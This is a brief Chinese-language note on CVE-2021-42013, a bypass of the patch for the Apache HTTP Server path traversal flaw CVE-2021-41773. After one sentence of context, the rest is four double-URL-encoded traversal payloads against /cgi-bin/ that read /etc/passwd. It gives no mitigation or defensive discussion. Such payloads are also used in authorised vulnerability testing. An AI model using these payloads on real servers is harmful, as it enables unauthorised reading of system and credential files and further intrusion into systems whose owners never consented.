前几天Apache Http服务器爆出了任意文件读取漏洞(CVE-2021-41773),此漏洞是对其的补丁绕过,CVE编号为CVE-2021-42013。
/cgi-bin/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/etc/passwd
/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/etc/passwd
/cgi-bin/.%%32e/.%%32e/.%%32e/.%%32e/etc/passwd
/cgi-bin/.%2%65/.%2%65/.%2%65/.%2%65/etc/passwd